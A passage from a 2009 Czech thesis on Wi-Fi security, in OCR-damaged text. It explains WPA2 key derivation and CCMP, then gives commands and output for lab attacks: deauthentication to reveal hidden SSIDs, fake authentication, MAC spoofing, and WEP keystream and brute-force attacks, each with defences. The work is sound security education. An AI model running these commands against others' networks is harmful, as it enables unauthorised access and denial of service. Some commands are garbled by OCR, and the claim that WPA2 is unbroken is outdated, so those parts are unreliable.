k odvozeni PMK (Pairwise Master Key). Jestlize je k autentizaci pouzit 802.1X odvodi se PMK
z MK (Master Key). V opacném pripadé je pouzZito PSK a ve vysledku PMK = PSK. PSK se
generuje z hesla pomoci hashovani, které tvofi vice slov ¢i shluku znakd (od 8 do 63 znak()
nebo 256 bitové retézce. PMK se nikdy nepouZije pfimo pro Sifrovani nebo kontrolu
integrity, ale pomoci néj se vypocitd docasny Sifrovaci klic PTK (Pairwise Transient Key). PTK
se tedy pouziva pro Sifrovani unicastového provozl. PTK se sklada z dalSich docasnych klici
(viz. obrazek 2.9):

OR
PSK MK

\ 4
PMK — 256 bitd
Pairwise Master Key

\ 4
PTK —X bitd X =512 (TKIP)
Pairwise Transient Key X =384 (CCMP)

‘/x{ __________

-«

|

EAPOL-Key EAPOL-Key Docasny : Docasny AP Docasny AP :

Potvrzovaci kli¢ Sifrovaci kli¢ Sifrovaci kli¢ : Tx MIC kli¢ Rx MIC kli¢ |

128 bitd 128 bitl 128 bitl | | 64 bitd 64 bitd :
|

Bity 0-127 128 - 255 256-383 | 384 - 447 448 - 511 :
|

KEK KCK TK | TMK1 TMK2 TKIP :

—_——— e e e ——

Obr. 2.9: Hierarchie PTK

e KCK (Key Confirmation Key, 128 bitovy) — Kli¢ pro autentiza¢ni zpravy (MIC) béhem 4 -
way Handshake a Group Key Handshake.
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e KEK (Key Encryption Key, 128 bitovy) — slouZi k utajeni dat béhem 4-way Handshake a
Group Key Handshake.
e TK (Temporary Key, 128 bitovy) — k Sifrovani dat, pouziva jej jak TKIP tak CCMP.
e TMK (Temporary MIC Key, 2x64 bitovy) — kli¢ pro autentizaci dat (pracuje s nim pouze
algoritmus Michael s TKIP). Pridéleny kli¢ se pouziva na kazdé strané komunikace. [6]
Délka docasného Sifrovaciho klice PTK zalezi na pouzitém Sifrovacim protokolu. V pripadé
TKIP je délka PTK 512 bitd a pfi pouziti CCMP je délka PTK 384 bita.

Ochrana prendsenych dat v multicastovém vysilani je chranéna pomoci klice GTK (Group
Transient Key), ktery je odvozen z GMK (Group Master Key), pevného retézce, MAC adresy
pristupového bodu a ndhodné hodnoty GNonce. GTK se déli na nasledujici do¢asné klice:
e GEK (Group Encryption Key) — slouzi pro Sifrovani dat.
e GIK (Group Integrity Key) - kli¢ pro autentizaci dat (pracuje s nim pouze algoritmus
Michael s protokolem TKIP). [6]

V pribéhu odvozovani klic se provedou dva handshaky:

4 — way Handshake — po Uspésné autentizaci 802.1X zasle pristupovy bod klientovi zpravu
EAP-Success a zahdji 4 — way handshake. 4 — way handshake probiha ve ¢tyrech krocich a je
zobrazen na obrdazku 2.10.

802.11 Stanice
802.1x Suplikant

(®)  802.11 Access point
802.1x Autentizator

SNonce = ndhodné Cislo ANonce = ndhodné Cislo

EAPOL-Key (0,0,1,0,P,0,0,ANonce,0,0)

l

Vypocet PTK pouzitim
ANonce a SNonce EAPOL-Key (0,1,0,0,P,0,0,SNonce,MIC,RSNIE)

»
»

Vypocet PTK pouzitim

ANonce a SNonce
_EAPOL-Key (1,1,1,1,P,0,KeyRSC,ANonce,MIC,RSNIE,GTK[KeyID])

EAPOL-Key (1,1,0,0,P,0,0,0,MIC,0)

»

InstalacePTK a MIC klicd Instalace PTK a MIC kli¢d
Instalace GTK pro KeyID

Obr. 2.10: 4- way Handshake
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4 — way handshake se sklada z nasledujicich kroka:

1. Autentizator posle ramec EAPOL-key obsahujici nahodné ¢islo Anonce.

2. Suplikant odvodi jeden z PTK z ANonce a SNonce.

3. Suplikant posle rémec EAPOL-Key obsahujici SNonce a informacni prvek RSN z (Re)
Association Request ramce a kontrolu integrity MIC.

4. Autentizator odvodi PTK z ANonce a SNonce a ovéfi MIC stanice obsazené v EAPOL-
Key ramci.

5. Autentizator posle rdmec EAPOL-Key obsahujici ANonce, informacni prvek RSN z jeho
zpravy Beacon nebo Probe Responce, MIC a zda chce instalovat PTK a GTK.

6. Suplikant posle EAPOL-Key ramec s potvrzenim, Ze kli¢e byly nainstalovany.

Po Uspésném provedeni 4 — way handshake mohou obé strany zadit Sifrovat data.

Group Key Handshake — Vyuziva jej Autentizator k zaslani nového GTK suplikantovi. Mezi
Autentizatorem a suplikantem se vyméni dvé zpravy EAP-Key béhem Group Key Handshake.
Tento proces pouzivd docasné klice vygenerované v priibéhu 4 — way Handshake (KCK a
KEK). Postup je zobrazen na obrazku 2.11.

Group Key Handshake se pouZivd pouze k deasociaci hostitele nebo k obnoveni GTK na
Zzadost klienta. Komunikaci zadind autentizdtor vybérem nahodného dCisla GNonce a
vypocitdnim nového GTK. Zasle suplicantu Sifrovany GTK (pomoci KEK), poradové Cislo GTK a
kod MIC vypocitany z této zpravy pomoci KCK. Po pfijeti zpravy suplikant ovéfi MIC a
v pripadé, Ze je spravné je mozné GTK desifrovat.

Druhym krokem je dokonéeni Group Key Handshake. Vtomto kroku je zasldano poradové
Cislo GTK a kod MIC této druhé zprdvy. Po pfijeti autentizator ovéri spravnost MIC a poté
instaluje novy GTK.

802.11 Stanice
802.1x Suplikant

(®)  802.11 Access point
802.1x Autentizator

GMK + GNonce
+vypocet GTK

GTK Sifrovany

EAPOL-Key (1,1,1,0,G,0,Key RSC,0,MIC,GTK[KeyID])

pomoci KEK |«

Desifrovani GTK

EAPOL-Key (1,1,0,0,G,0,0,0,MIC,0) Autentizagni zprava
pouziva KCK

Obr. 2.11: Group Key Handshake
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2.6.2 AES (Advanced Encryption Standard)

Sifra byla vyvinuta belgi¢any Joan Daemen a Vincent Rijmen a vyuZiva algoritmus Rijndael.
Jednda se o Sifru se symetrickym klicem stejné jako u RC4, coZ znamenad, Ze Sifrovani a
desifrovani textu se provadi stejnym tajnym klicem. Délka klice mGze byt 128, 192 nebo 256
bitG. Pro Sifrovani se pouZivaji bloky pevné délky a to 128 bitll. To znamend, Ze nejprve je
cely text rozdélen na bloky o délce 128 bitl a ty se teprve Sifruji. Ztohoto dlvodu je
oznacovana jako blokova Sifra.

AES nabizi rdzné rezimy dcinnosti, ve specifikaci 802.11i se pouziva Ccitacovy reZim
s protokolem CBC-MAC(CCM), obvykle oznacovany jako AES-CCMP. Citacovy rezim zajistuje
Sifrovani, CBC-MAC pak zajistuje autentizaci a integritu dat. [1]

2.6.3 CCMP

Jednd se o mechanizmus slouzici k Sifrovani dat u 802.11i, ktery je povinny. Pro Sifrovani
pouZiva blokovou Sifru AES v provoznim rezimu CCM. PouZiva kli¢ a datovy blok vidy o délce
128 bith na rozdil od WEP, pricemz klice jsou generovany dynamicky. Soucasné poskytuje
autenticitu, utajeni, kontrolu integrity dat (MIC o délce 64 bit), ¢islovani paketd. Poskytuje
vysokou Uroven zabezpeceni za cenu vyssich hardwarovych naroka.

Protokol CCMP rozsifuje MPDU o 16 bajtl a to 8 bajtd hlavicky CCMP a 8 bajtli pro kontrolu
integrity MIC. Hlavicka CCMP obsahuje 48 bitové cislo paketu PN (Packet Number), které se
s kazdym novym MPDU zvysi o jedna, a Group Key KeyID. Hlavicka je neSifrovana a je
umisténa mezi hlavicku MAC a Sifrovand data jak je vidét na obrazku 2.12.

Protokol CCMP vyuZziva pro kontrolu integrity dat MIC stejné jako TKIP, avSak nejednd se o
stejny prvek. Kziskani konec¢ného kédu MIC o velikosti 64 bitd vyuZivd vypocet MIC
algoritmus CBC-MAC, ktery Sifruje pocatecni Nonce blok (vypocitany z poli Priority, zdrojové
adresy MPDU,a zvySeného PN) a XORy nasledujicich blok(. Nasledné se pfipoji kod MIC
k neSifrovanym datlm pro Sifrovani AES v rezimu Citace. [6]

MAC hlavicka ‘_
SA, Priorit V! feni
Plaintext MPDU Y ytvoreni |

AAD S

Vytvofeni N - Sifrovand | L

Nonce Sifrovani (data, MIC | O

Data CcCM > U > Ramec 802.11i

» C

TK > E
" N

PN Inkrementace
PN »  Vytvoreni
CCMP »

KeyID hlavicky L

AAD = Additional Autentication Data, doplrikova autentizacni data
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Nonce = unikatni nahodné cislo
SA = Source address, zdrojova adresa
PN = Packet Number, Cislo paketu

Rémec 802.11i / WPA2

MAC ccmp Data MIC FCS
hlavicka hlavicka
8B >=1B 8B 4B

Obr. 2.12: Sifrovani mechanismem CCMP a rdmec 802.11i

802.11i neboli WPA2 tvofi v soucasnosti nejbezpecnéjsi formu ochrany prenasenych dat.

Doposud nebyly nalezeny metody, kterymi by se tento typ zabezpeéeni dal prekonat.
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3 PRIPRAVA PRO ANALYZU A UTOK NA BEZDRATOVE SITE

V ptipadé nevhodné (nespravné, ale béiné nastavené) konfigurace umozniuje majitel sité
utocnikovi pristup do jeho sité. Timto zplsobem ma Utocnik mozZnost pristupovat k sitovym
prostfedklim napadeného a ziskat tak jeho osobni divéryhodné materialy popfipadé zneuzit
jeho pocitac k jinym ucellm.

3.1 Pouzité zafizeni

Pouzité zarizeni bylo vybrano dle dostupnych prostredkl, které jsem mél k dispozici,
podporujici standard 802.11 b, g. DalSim parametrem vybéru byla schopnost zafizeni
pfepnout do monitorovaciho reZimu a moznost injekce.

3.1.1 Notebok MSI PR200X Crystal Collection

CPU: Intel Core2Duo T7250 2.00GHz
RAM: 2GB
WiFi karta: Intel Wireless WiFi Link 4965AGN

Notebook byl pouZit pro utoky na bezdratovou sit.

3.1.2 Intel Wireless WiFi Link 4965AGN

MAC adresa: 00:1D:E0:3D:9E:43
Linuxovy ovladac: v jadre systému
Rozhrani: miniPCl express

Interni bezdratova karta s konektorem na externi anténu. Pro spravné fungovani monitor
mddu a injekce paketl bylo nutné zavést balicek linux-backports-modules-
intrepid dostupny z http://www.linuxwireless.org/en/users/Download#Gettingcompat-

wirelessonUbuntu. Po zavedeni tohoto balicku se karta vsystému hldsi pod oznacenim

wlan0. Aby karta umoznovala injekci paketd, bylo nutné ji do monitorovaciho rezimu
pfepnout pfikazem airmon-ng start wlan0. Tim vzniklo rozhrani monO, které bylo
pro injekci pouZito. BohuZel tato karta, v dobé psani diplomové prace, nepodporuje faleSnou
autentizaci a asociaci, proto byla ne vétSinu aktivnich utok( pouZzita karta Atheros.

3.1.3 Atheros Wireless Network Adapter

MAC adresa: 00:15:£9:46:13:19
Verze ovladace: 4.2.1.9
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Bezdratova karta Ahteros byla pouzita jako bezdratovy klient, ktery byl napadeny a zneuzity
k jednotlivym typam utok(. Po zavedeni do monitorovaciho rezimu karta umoznuje falesnou
autentizaci a asociaci, a proto byla pouZita pro injekci paketd u aktivnich Gtok(. Po zavedeni

monitorovaciho rezimu nese karta oznaceni atho.

3.1.4 DrayTek Viger2700 Series

MAC adresa: 00:50:7F:DF:1D:60
Verze firmware: 2.8.2_131812

Pristupovy bod umoziuje soucasné vytvoreni Ctyt siti. Zafizeni podporuje zabezpeceni WEP
(60 i 128 bitl), WPA/PSK, WPA2/PSK a Mixed (WPA+WPA2)/PSK. Dale umoznuje skryt
vysilani SSID, filtrovani MAC adres, vytvaret izolované LAN (Local Area Network) sité a
izolovat jednotlivé pfihlasené stanice.

3.2 Pouzity software

Pro realizaci jednotlivych Utok( byl vybran systém Linux, jelikoZz podporuje velké mnoZstvi
aplikaci slouZici pro analyzu sitového provozu na rozdil od OS Windows. Je moZné pouZiti
standardné vydavanych distribuci (Ubuntu, Fedoda apod.) s nutnosti zavedeni potifebnych
ovladacl a jednotlivych utlitit, nebo vyuzit distribuci navrzenych pfimo pro analyzu popf.
Utoky na sitovy provoz. Mezi takového distribuce patfi napr. Back|track4 Beta nebo WiFiSlax,
které obsahuji oSetfené ovladace a velké mnoZstvi programu, pouzitelnych jak k analyze, tak
i k jednotlivym Gtokdm.

K realizaci utokd byla pouzita jak distribuce s nutnosti zavedeni potfebnych ovladacl a utilit,
tak i distribuce obsahujici jiz upravené ovladace a utility. Byly pouzity distribuce Ubuntu 8.10
postavena na Linux kernel verze 2.6.28 a Back|track4 Beta s verzi kernelu také 2.6.28.

Na simulaci sitového provozu byl pouzit OS Windows XP.

3.2.1 Pouzité utility
Airsnort, verze 0.2.7e — dostupny z http://airsnort.shmoo.com, slouZi k ziskani tajného WEP

klice pomoci metody FMS a KoreK, vyuziva grafické prostredi.

Aircrack-ng, verze 1.0 rc1 r1085 — dostupny z http://aircrack-ng.org balik obsahujici utility

pro sledovani provozu na siti (airodump-ng), vytvareni vlastnich ramct (packetforge), injekci
ramcU (aireplay-ng), lamani tajnych WEP klich pomoci KoreK a PTW utoku (aircrack-ng) a
mnoho dalSich.

MAC changer, verze 1.5.0 — utilita slouzici pro zménu MAC adresy.

Wireshark, verze — dostupny z http://www.wireshark.org, slouZi k monitorovani, zachytavani

a analyze sitového provozu.

Aircrack-ptw, verze 1.0.0 — dostupny z www.cdc.informatik.tu-darmstadt.de/aircrack-ptw,

utilita pro provedeni PTW utoku.
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coWPAtty, verze 4.3 — dostupny z http://www.willhackforsushi.com/Cowpatty.html, utilita

slouzici k provedeni slovnikového Utoku na WPA/WPA?2.

genPMK, verze 1.0.0 — soucast baliku coWPAtty k vytvoreni hash souboru pro dané SSID a
zvoleny slovnik.

Tkiptun-ng, verze 1.0 rc2 — utilita slouzici k ziskani keystream v pripadé zabezpeceni WPA —
TKIP.

Pouzité prikazy jsou v textu vyznaceny tucné. Vypisy systému jsou zndzornény mensim
pismem.

3.3 Zapojeni

Pro testovani utok(l bylo pouZito infrastrukturdlni zapojeni v laboratornich podminkach.
Laboratorni podminky byly zvoleny z divod( legislativnich a také z divodu omezeni ruseni
v béZném provozu. Zapojeni je zndzornéno na obrazku Obr. 3.1. Legitimni komunikace byla
provedena mezi pristupovym bodem DrayTek a osobnim pocitaéem MSI s bezdratovou
kartou.

Legitimni spojeni

Stanice

AP —— —— Naruseni (utok)

UTOCNIK

Obr. 3.1: Zapojeni pfi testovani utok
3.4 Monitorovaci rezim

Monitorovaci rezim neboli také RFMON (Radio Frequency Monitor) pouziva bezdratova karta
k zachytavani sitového provozu v okoli jeji antény. Vtomto reZimu karta nevysild Zadné
rdmce a umoziuje monitorovat kterykoliv dostupny kandl. Pro Uspésné odchytavani provozu
nemusi mit bezdratovd karta pridélenou IP adresu ani nemusi byt asociovana na pfistupovy
bod nebo do ad-hoc. V pfipadé sledovani Sifrovaného provozu jsou odchycena data
v zaSifrované podobné.

Promiskuitni rezim je dalSi rezim, ktery bezdratova karta poskytuje. Rozdil oproti
monitorovacimu modu spociva vtom, Ze v pfipadé promiskuitniho rezimu musi byt karta
asociovana na prislusny pfistupovy bod a umozZiuje tedy sledovat cely sitovy provoz pouze
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v ramci dané sité. Vétsina ovladacu bezdratovych karet vsak tento reZzim neumoznuje. Tento
rezim je spiSe znamy u sitovych karet na dratovych sitich LAN, v kterém karta zachytava
ramce i pro ostatni cilové MAC adresy nezZ jen pro svoji MAC adresu.

3.4.1 Zprovoznéni monitorovaciho reZimu
Bezdratovou kartu je mozné do monitorovaciho rezimu prfepnout v okné terminalu dvéma
zpUsoby:

# 1wconfig wlan0 mode monitor
# airmon-ng start wlanO

V prvnim ptipadé se rozhrani wlan0 prepne do monitor modu, vtom druhém, se vytvofi
nové rozhrani s ndzvem monO. Nastaveni monitor mdédu je zobrazeno na nasledujicich
vypisech:

# 1fconfig wlan0 down

# 1wconfig wlan0 mode monitor

# 1fconfig wlanO up

# iwconfig wlanO

wlanQ IEEE 802.1labgn Mode:Monitor Frequency:2.437 GHz Tx-Power=15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:O0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

# airmon-ng start wlanO

Interface Chipset Driver

wlanO iwlagn - [phyO0]
(monitor mode enabled on monO)

# 1wconfig monO
mon0 IEEE 802.1llabgn Mode:Monitor Frequency:2.437 GHz Tx-Power= 15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Pro zadani prikazu iwconfig wlan0O mode monitor bylo nutné nejprve bezdratovou
kartu vypnout pfikazem ifconfig wlan0O down a nasledné zapnout prikazem
ifconfig wlanO up.

3.5 FaleSna autentizace

Falesna autentizace umoznuje provést oba typy autentizace (jak Open System tak i Shared-
Key) a zaroven asociaci na pristupovy bod. Je ji moziné vyuzit v pfipadech, kdy je nutné
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asociovat kartu k pristupovému bodu, z dlivodu, Ze na pristupovy bod neni asociovan zadny
klient, popfipadé kvlli nastaveni parametrd v programu aireplay-ng. FaleSnou autentizaci je
mozZné pouZit pouze na zabezpeceni WEP, ne vSak na WPA/WPA2.

3.5.1 Realizace falesné autentizace
Pro faleSnou autentizaci byl pouzit program aireplay-ng z baliku aircrack-ng. Pfiklad uspésné
autentizace je vidét nize.

#aireplay-ng -1 0 -e TEST _DP -a 00:50:7F:DF:1D:BO -h 00:15:E9:46:13:19 athO

Vyznam jednotlivych parametr:

-1 znamena faleSnou autentizaci
0 reasociacni ¢as v sekundach
-e oznacuje SSID

-a MAC adresa pfistupového bodu
-h MAC adresa nasi karty
athO0  bezdratové rozhrani

Uspésna fale$nd autentizace vypada nasledovné:

10:11:42 Sending Authentication Request (Open System) [ACK]
10:11:42 Authentication successful

10:11:42 Sending Association Request [ACK]

10:11:42 Association successful :-) (AID: 1)

4 ZiSKANi SKRYTEHO SSID

Nejjednodussi metodou zabezpeceni bezdratovych siti je skryti vysilani SSID sité. Bez tohoto
identifikatoru neni povoleno stanici asociovat se do sité a vyuzivat jeji sitové prostredky.

4.1 Zjigténi SSID

SSID sité, které je potfebné pro asociovani do sité, je obsazeno v rdmci Association request a
také v ramcich Probe request a responce. Tyto ramce se vysilaji béhem vyhledavani sité
stanici a jsou prenaseny bez jakéhokoliv zabezpeceni. Pro ziskani nevysilaného SSID je mozno
pouZit deautentizaci a deasociaci. Zamérem utoku je prinutit klienta k opétovné autentizaci,
coZ ve spojeni s nedostate¢nou autentizaci pro ovladani ramc( (uZivanou k autentizaci,
asociaci a podobné) umoziuje utocnikovi spoofovat MAC adresy.[6] V pfipadé deautentizace
posle pristupovy bod deautentizaéni rdmec klientovi, ktery neni do sité asociovan. V pfipadé
deasociace oznamuje stanice pristupovému bodu, Ze ukoncuje komunikaci a bude odpojena.
Obé mozZnosti jsou pouzitelné pro ziskani SSID.

V obou pfipadech se jednd o aktivni Utok. Zaslanim deautentiza¢niho nebo deasocia¢niho
ramce nékteré z pfipojenych stanic dojde k jejimu odpojeni. Naslednym monitorovdnim
provozu zjistime skryté SSID sité, nebot po odpojeni se stanice opét asociuje a tim prozradi
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SSID. Dals$i moznosti je pasivni Utok, ktery spociva v pouhém naslouchani sitového provozu.
PFi asociaci resp. vyhledavani pristupového bodu stanice pfimo prozradi SSID sité.

4.1.1 Realizace deautentizace

Aktivni utok a zaslani deautentizacniho ramce bylo provedeno za pomoci utility aireplay-
ng z baliku aircrack-ng:

# aireplay-ng -0 1 —a 00:50:7F:DF:1D:BO —c 00:15:E9:46:13:19 wlanO

08:24:35 Waiting for beacon frame (BSSID:00:50:7F:DF:1D:B0O on channel 11
08:24:35 Sending DeAuth to station -- STMAC: [00:15:E9:46:13:19]

Vyznam parametr(:

-0 1 urcuje typ utoku (0 = deautentizace) a pocet vyslanych rdmcu (= 1),
-a urcuje BSSID (MAC adresu ptistupového bodu),

-C MAC adresa deautentizované stanice,

wlan0 zafizeni pouZité na vyslani ramca (musi byt v monitor maédu).

Po nasledné opétovné asociaci prozradi stanice SSID, které je moziné zobrazit pomoci
nastroju airodump-ng popf. wireshark, v kterém je nutné dohledat ziskané SSID z prijatych
rdmcl ruc¢né. Jestlize se nepodafi z pfijatych ramcl ziskat SSID nebo utilita airodump-ng
zobrazuje misto SSID hodnotu <lenght> doSlo pravdépodobné ke ztraté deautentizaéniho
ramce Ci Probe/Association ramce béhem komunikace. Pro ziskani SSID je tedy nutné vyslat
deautentiza¢ni ramec znovu.

Jestlize pouzijeme velky pocet deautentiza¢nich ramc(, bude se jednat o DoS utok (Denial of
Service).

4.2 Ochrana proti zjisténi SSID

Skryti SSID nikdy nebylo navrhnuto jako bezpecnosti prvek. Z tohoto diivodu neni Zadna
moznost zabranéni ziskani SSID.

5 FILTROVANI MAC ADRES

Dalsi metodou zabezpeceni je filtrovani MAC adres. Jestlize je tento zplUsob zabezpeceni
nastaven, pristupovy bod vlastni tabulku obsahujici MAC adresy stanic, které maji do sité
pfistup povolen. Pro pfistup do takto zabezpecené sité je mozné zneuzit MAC adresu stanice,
kterou pfistupovy bod obsahuje.
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5.1 Zjisténi a odcizeni legitimni MAC adresy

MAC adresa je unikatni identifikator sitového zatizeni, ktery je mozné vétSinou softwarové
zménit pomoci ovladacéli dodavanych vyrobcem.

MAC adresu stanice, ktera je pfipojena do sité, se da zjistit pomoci utility airodump-ng
obsaZzené v baliku aircrack-ng. Pro spravnou funkci této aplikace je nutné mit prepnutou
kartu do monitorovaciho médu (viz. kap. 3.4.1). Parametr --ch 2 oznacuje kanal, na kterém
pFistupovy bod vysild. Vypis z utility ai rodump-ng je vidét nize.

# airodump-ng --ch 2 wlanO
CH 2 ][ Elapsed: 28 mins ][ 2009-04-09 17:11
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:50:7F:DF:1D:B2 48 19 0 25667 19 2 -1 OPN <length:
00:50:7F:DF:1D:B1 49 25 0 34061 24 2 -1 OPN <length:
00:50:7F:DF:1D:B0 49 100 14157 56134 36 2 54. WEP WEP TEST DP
00:50:7F:DF:1D:B3 49 13 0 18427 14 2 -1 OPN <length:
00:1B:D4:2B:BF:C0O 26 0 8780 0 0 1 54. OPN MIP2
21:5F:88:DE:87:FB -1 0 0 0 0o -1 -1 <length:
BSSID STATION PWR Rate Lost Packets Probes
00:50:7F:DF:1D:BO0 00:1D:E0:3D:9E:43 50 1- 1 0 753403 TEST DP
21:5F:88:DE:87:FB 83:2B:A9:BA:44:2F 0 0- 0 0 1
(not associated) 00:12:F0:3B:14:EF 27 0- 1 0 183 vutbrno

Vystupem je vypis MAC adres pristupovych bodl a stanic v okoli bezdratové karty, pocet
vyslanych Beacons, dat, pouzity kandl, prenosova rychlost, Sifrovani a dalsi. Z toho vypisu
zvolime MAC adresu stanice asociované do poZzadované sité.

5.1.1 Zména MAC adresy
Pro zménu MAC adresy je mozné v prostfedi Linuxu pouZit nasledujici prikazy v okné
terminalu:

# 1fconfig wlan0 hw ether 00:1D:E0:3D:9E:43
# macchanger wlanO —m 00:1D:E0:3D:9E:43 //utilita manchanger

Parametr —m slouzi k nastaveni konkrétni MAC adresy zafizeni.

Obéma prikazy dojde ke zméné plavodni MAC adresy na adresu 00:1D:EQ:3D:9E:43.
V nékterych ptipadech je nutné nejprve bezdratovou kartu vypnout, nasledné zménit MAC
adresu karty a poté opét kartu zapnout pouzitim prikaz(:

# ifconfig wlan0 down //vypnuti karty
# zména MAC adresy //viz. vyse
# 1fconfig wlanO up //zapnuti karty
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Ziskanou a nastavenou MAC adresu je mozné pouzit nasledujicim zplsobem:
A) Posilani falesnych ramc(;
B) Vyuziti ziskané MAC adresy pro opravnény pristup do sité po odchodu stanice ze sitég,
C) Odstaveni stanice a ukradeni jeji MAC adresy,
D) Soucasné pouzivani MAC adresy.

5.2 Ochrana proti odcizeni MAC adresy

Stejné jako v pripadé ziskani skrytého SSID neexistuje zpUsob jak zabranit ziskani MAC adresy. JelikoZ
na siti je zpravidla nepretrzity provoz, neni problém odchytit legitimni MAC adresu stanice.

Filtrovani MAC adres je zpravidla pouzZitelné a hodi se pro zabranéni neiumysiného prihlaseni do sité.

6 WEP

Jak bylo popsano drive (viz kap. 2.3) v pfipadé WEP se k Sifrovani pouziva proudova Sifra RC4
a k zabezpeceni prendsenych dat hodnota vypocitand pomoci redundantniho cyklického
souctu CRC-32 tzv. ICV, ktera je také Sifrovana. Spojeni tajného klic¢e a inicializa¢niho vektoru
IV slouZi pro inicializaci stavového pole RC4 algoritmu.

Utoky na web vychazeji z nasledujicich nedostatkd a jsou teoreticky popsany v nasledujicim
textu a poté realizovany:

e Kratky inicializagni vektor IV (poskytuje jen 2** moznosti) — porudeni hlavni myslenky
RC4 (IV se nesmi opakovat);

e Pouziti statického klice (Ctyfi definované klice rozlisené identifikatorem KeyID), méni
se pouze inicializacni vektor IV;

e Pouziti stejného algoritmu pro Sifrovani a autentizaci (v pfipadé autentizace sdilenym
klicem);

e Linearita operace XOR a CRC-32.

6.1 Brute-force attack neboli utok hrubou silou

Utok hrubou silou je zaloZen na zkouseni viech moinych kombinaci znakél z vybranych
abeced (pismena, Cislice, symboly apod.). Pfitom staci zachytit jediny Sifrovany ramec a
nasledné pouzit obrovsky vypocetni vykon k nalezeni spravné kombinace. V praxi se
pouzivaji dva zachycené ramce - jeden pro nalezeni hesla a druhy pro ovéreni, zda je
nalezené heslo spravné. Tuto metodu Ize pouzit pouze na 64WEP, u kterého je délka tajného
klice 40 bitd. Hlavni nevyhodou utoku hrubou silou je ¢asova narocnost.

43



Zabezpeceni bezdrdtovych siti, 2009

John Ellach napsal na toto téma nékolik programu:

e Jjc-wepcrack — umoznuje distribuované lamani klice (pfiblizné 300.000 kli¢(/s na
jednom P4 3,6 GHz),

e ps3-wepcrack — lamana hesla na Sony PlayStation3 vyuZivajici 6 VPU (Vector
Processing Unit) na desce (1.440.000 kli¢d/s),

e pico-wepcrack — hardwarové akcelerované lamani pomoci Pico karty, CardBus
FPGA  (Field-programmable gate array) od firmy Pico Computing
(http://www.picocomputing.com/).

Na jednom notebooku s Pico kartou je tedy mozné Uplné prohledani pro 40-bitovy kli¢ za
necelych 34 hodin (nejhorsi pfipad). [8]

Dalsim uzite¢nym nastrojem je Brute-force kalkucka [9], kterd vypocita, jak dlouho by trval
utok hrubou silou pfi zvolenych parametrech.

6.1.1 Slovnikovy utok

Nejvétsi slabinu Utoku hrubou silou se snaZi eliminovat slovnikovy utok. Tento utok je
zalozeny na zkouSeni hledaného slova v predem vytvofeném slovniku. Se slovem je mozné
provadét zdkladni operace, jako jsou jednouché permutace, doplnéni ¢islovek a dalsi.

6.1.2 Utok na generdtor klice

Pro WEP je moZné pouzit tzv. ,passphrase” neboli frazi zadanou uZivatelem ke generovani
Ctverice klicd. Problém spocivd v tom, Ze neni standardizovdan mechanismus, kterym ma
generator tyto klice vytvaret. V pripadé 64WEP jsou mezi sebou XORovany znaky passphrase
a vystupem RC4 PRNG je sice 40 bit dlouhy kli¢, avsak jeho entropie je pouhych 21 bitl bez
ohledu na délku pGvodni passphrase. Tim Newsham detailné popsal tento generator v [10] a
utok na néj, ktery vychazi z vytvoreni odhadu hesla pomoci slovnikového utoku nebo utoku
hrubou silou, pfevedenim odhadu na kli¢ a nasledném porovnanim s klicem v zachycenych
paketech. Utok na generator klice je moiné provést napf. programy KisMAC nebo
WEP_Crack.

6.1.3 Ochrana proti utoku hrubou silou
Ochranou proti Uutoklim hrubou silou je volba 128WEP s nahodné vygenerovanym klicem,
ktery ma délku 104 bitd.

Dalsi variantou je volba zabezpeceni WPA/WPA2, ktery ma ménici se kli¢ delsi délky.

V souCasné dobé se s utokem hrubou silou pfFiliS nesetkdte, jelikoz existuji efektivnéjsi
metody, jak tento zpUsob zabezpeceni prekovat. Tyto metody budou popsany v nasledujicich
kapitolach.
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6.2 Ziskani keystream z Shared-key autentizace

Shared-key autentizace slouzi jako prevence pred neautorizovanym pfistupem do sité. Pro
ziskani keystream je nutné znat plvodni zpravu (plaintext)a Sifrovany text (ciphertext), avsak
problémem je ziskat pravé plvodni nesifrovanou zpravu. Uspé&éna Shared-key autentizace je
na obrazku Obr. 6.1. Pokud se utocnikovi podafi zachytit druhy autentizacni rdmec vyslany
pristupovym bodem, ktery obsahuje nesifrovanou vyzvu, a provede vypocet ICV, ziskd tak
cely plaintext. Naslednym zachycenim tretiho autentizacniho ramce od stanice ziska utocnik
Sifrovanou podobu plvodni zpravy (ciphertext). Provedenim logického soucinu XOR mezi
plaintextem a ciphertextem, uto¢nik obdrzi keystream pro danou hodnotu IV (voli stanice).

()
[Hlavicka] 1 [ 1 [ 0] = AP

{— [Havicka] 1 [ 2 [ 0 [ challenge ]

zasifrovani | 1 [ 3 [ 0 [ challenge [ ICV |
vyzvy

pomoci @
WEP | Keystream RC4 |
| Alavicka | V] | Sifrovana vyzva | E Desifrovani zpravy a porovnani s

vyslanou hodnotou

(== [Havicka] 1 [ 4 0 ]

Potvrzeni uspésné autentizace

Obr. 6.1: Ziskani keystream z Shared-key autentizace

6.2.1 ZneuZiti ziskaného keystreamu
Ziskané dvojice IV, keystream se da vyuzit nasledujicim zplsobem:

e Autentizace do sité — mUzeme pouZit nékterou z hodnot IV, keystream a autentizovat
se timto zplUsobem do sité, jako opravnény uzivatel.

e Desifrovani zachycenych ramc( — jestlize mame dostatecné mnozstvi ziskanych dvojic
1V, keystream, mizeme pomoci nich desifrovat zachycené ramce.

e Vysilani vlastnich rdamcl — dvojici IV, keystream lze pouiit pro zasifrovani vlastnich
zprav a nasledné vyslani do sité.

6.2.2 Ochrana proti ziskani keystreamu
Pavodni metodou jak zabranit ziskani keystreamu z Shared-key autentizace bylo skryvani
SSID a vyuziti filtru MAC adres. Tato ochrana vsak neni dostatecnd (viz kap. 2.1, 2.2). Dalsi
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moznosti je pouziti Open system autentizace. Nejvhodnéjsi variantou je pouziti zabezpeceni
WPA/WPA2.

6.3 Injekce ramcu

Jednd se o techniku utoku, pfi které se softwarové zméni hlavicka paketu, jeho ¢ast nebo
cely paket, popfipadé se nahradi ur¢itd ¢ast dat jinymi. Ucelem injekce mize byt zvyseni
provozu na siti pro zachyceni co nejvice rozdilnych IV pouZitych v Utocich FMS/KoreK, tinos
